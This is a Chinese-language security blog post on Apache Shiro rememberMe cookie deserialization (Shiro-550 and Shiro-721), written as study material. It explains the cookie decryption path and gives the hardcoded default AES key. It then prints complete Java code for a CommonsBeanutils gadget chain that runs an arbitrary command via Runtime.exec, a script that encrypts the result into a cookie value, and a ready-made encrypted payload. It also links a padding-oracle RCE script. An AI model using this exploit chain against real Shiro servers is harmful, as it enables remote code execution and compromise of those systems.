1010 字
5 分钟
JavaSec-Shiro反序列化

shiro组件的利用点在于它会对Cookie中的rememberme字段解密后进行反序列化操作,如果条件合适可以通过这个入口点进行利用其他反序列化链子注入内存马

Shiro550#

shiro是通过添加自定义filter实现的权限功能,搜索`shirofilter`,这个类继承`AbstractShiroFilter`,在`AbstractShiroFilter`中有`doFilterInternal`这个方法,一般`doFilterInternal`方法是自定义filter的核心实现方式

来到shiro关于cookie的逻辑部分`CookieRememberMeManager.class`

大体都在`getRememberedPrincipals`

其中调用了`getRememberedSerializedIdentity`这个方法,打点跟随

getCookie方法获取了remrmberMe的值

返回给了base64

它对cookie进行了填补pudding的操作,然后debase64,返回给`bytes`属性,之后进入`convertBytesToPrincipals`方法,再进入decrypt,bytes属性给了`encrypted`这个值

然后在这个方法中进行AES解密

方法接受两个参数,第一个是我们debase64之后的cookie数据,另一个是固定的cipherkey,可以在这个方法所在的类文件上面找到

shiro1.2.4之前的cipherkey是固定的,也就是`DEFAULT_CIPHER_KEY_BYTES`这个的值

kPH+bIxk5D2deZiIxcaaaA==

然后解密不成功就直接弹错误了,解密成功的话会进行反序列化的操作

生成payload#

那么我们只要按着这个步骤加密payload之后再base64即可,众所周知Shiro组件自带CB,所以常常配合着打CB链加载恶意类

拿出我们之前CB2的POC,CB2无须使用CC组件

public class CB2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "b");
        byte[] code = genPayload("firefox");
        byte[][] codes = {code};
        setFieldValue(templates, "_bytecodes", codes);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator(null,new AttrCompare());
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2);//这里先不传入构造函数参数的比较器
        setFieldValue(queue, "size", 2);
        setFieldValue(queue, "comparator", comparator);
        Object[] list = new Object[]{templates, 1};
        setFieldValue(queue, "queue", list);

        setFieldValue(comparator,"property","outputProperties");
        //保证property属性不为空,让beancompare成功运行到PropertyUtils.getProperty()调用get方法

//        serialize(queue);
        unserialize("CB2.bin");
    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB2.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }

    public static byte[] genPayload(String cmd) throws Exception{
        //生成恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";
        System.out.println(sh);
        constructor.setBody(sh);
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();

    }
}

生成的payload的二进制数据导出为文件,回到Shiro的Payload脚本,把文件的二进制数据读取,然后直接AES加密,base64编码即可,偷懒可以直接导入Shiro现有类中的方法实现,注意文件读取路径不要出错

public class GenPayload {
    public static void main(String[] args) throws Exception{

        String OutPath = "payload.txt";
        byte[] serialized = readFileToBytes("CB2.bin");

        CipherService cipherService = new AesCipherService();
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource byteSource = cipherService.encrypt(serialized, key);
        byte[] value = byteSource.getBytes();
        String base64 = Base64.encodeToString(value);
        System.out.println(base64);

        try (FileWriter fw = new FileWriter(OutPath)) {
            fw.write(base64);
        }
    }

    public static byte[] serialize(Object obj) throws Exception{
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(obj);
        return bao.toByteArray();
    }

    public static byte[] readFileToBytes(String filePath) {
        Path path = Paths.get(filePath);
        try {
            System.out.println(Files.readAllBytes(path));
            return Files.readAllBytes(path);
        } catch (IOException e) {
            e.printStackTrace();
            return new byte[0];
        }
    }
}

生成payload(调用firefox)

zQXbpOWEr0TqcomHsu2rw0OGNOShyZNvRC8vmtYpk97R86utqPjxP5ecz+K3zYz5qeuh9j5dNjkhp+7sje3NMlEX/Z6uKvPnq6NsYa/RyyTUT/gwjbwyuOW+jPD55NWTaFT7NL38Ysm+mlg38Jk1AteOT6Qwj54dmXL+vBMMACRTuSpWuVX6/aHITlpEsy4f1ScKlwb5LzQK67tZNadYaIp5BU76iZDt/tMgPHrKP62V214hPc5EsIjRUW9599io/oWlBSlt87TNKLlRFM2zDrx8tU/PH6h6hPhVer2voV9gK3K80izn8fJ0qqLmgADXDgVaFy3v9NTz99Z7pyPIOf+t0arYsJBcAqF3G8dIlD20QJM5A+r2kwzTtnO06e1f/OmHsKrKaFzfN5WO58eJAhboZqh7LVrC+UdIbKRJx9uwYTbsUjJowa1J+B2ca5yJDz5zvIqbSkLWyLvMGr1FTecH0m1bud6Of34mMsuozq5qOIN7LJlgOMwAIjwx6BBVqkkkc/NFJv3TDcf7gAilKfsg7urBgmSZW+LVgtulcHm6JJbxuLafQEmIp8dCxma2UD7SmHVQg2X2C9Wh08u1hk0cMKgRL2gd2INTlglkS/toXa/TdOcu7ZsWUgI0h8Qv7Mc8DSRS6xEtS90yU0k1KVnVOReF+W4mn3DruaL3vLMX/G3XSx9mf58vpdR8ioh7w1BaXhJ4h3r1I9uABOiiJFzsu5SWoURX9EW4t562Fge8jt2+ZgUmRg9yPagwOkMSgN5hxViTptlTjjx267bdDIFA+QBo5/srq0fqsMywH7VL2rcpL/gbY+xUiT3xR5dRshyXZinCbrm7CzE7QZpZfxyUwpYNQZK9dGbkqy3XGVwRl+quFQzIZ5xTJJdTuyCl6DBtkFbQHh3h+uirNMBveepYPzqBsto1UXNxEwh1f/jqklycIuY8z1WssIML1Wp/jpBx3oayTcGTgcGhQRKhqQel3lQWDOmHpEPRPXIxBtZWyLnR06MTrHO3pLyR28n6kt76W2wCt6dmA+hdP+VS5fS3L3I7mjpcpaIHHYVMjpKzMrjJrxbO8kLszTHZNTVtUbSPeipd1A+2JboHS1VJigL1oj9fnP4TFT72L/Gwzz4AqE7x/8mGFx1XoerwQzi7jgsfQz/BYur6LxZzq5kMKAr5m65+mScGwMmrz0fEq4TSAFGrOa9p3rfnc9NQmmUUlOTHeF79M/mn6fTfNnCvvSwJ8YSyVjkXP97xi0J8cfYSULoeYexoCN56uHm5PIwoBaAqWlLWp1V4aWlPkpUo+kTQepYmcZIAaN48EIKjV0YlONYfcAfpf0R4enwA3ph1v9UHudtKQVWsTwQCuQqkpM8WXvXdnKSsgx1D8fB5ty0=

放在rememberMe直接发包即可

550复现环境

Shiro-550 反序列化分析 - X1r0z Blog

Shiro721#

修改pom.xml中的shiro组件版本

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.2.5</version>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-ehcache</artifactId>
    <version>1.2.5</version>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-spring</artifactId>
    <version>1.2.5</version>
</dependency>
<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-web</artifactId>
    <version>1.2.5</version>
</dependency>

再次尝试发包,firefox没弹出,说明反序列化失败

我们看看跳转到Cookie处理逻辑那里看看是怎么回事

这里被`getDecryptionCipherKey`这个方法替代了,它返回的是

对称加密,加解密key一样,想要进一步利用,需要知道key的内容,只能通过爆破的方式获得,爆破方式就是`padding oracle`攻击

CBC字节翻转攻击&Padding Oracle Attack原理解析 - 枫のBlog

关于key正误判断可以通过返回的数据包中是否存在`rememberMe=delete`来判断,若存在则说明key不正确,并且721链需要你拥有这个网站的一个可登入cookie才能进行爆破的操作

脚本: https://github.com/tobechenghuai/Shiro_721_Padding_Oracle_RCE

Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721) - Bypass - 博客园

JavaSec-Shiro反序列化
https://fuwari.vercel.app/posts/javasec-shiro反序列化/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2025-03-13
许可协议
CC BY-NC-SA 4.0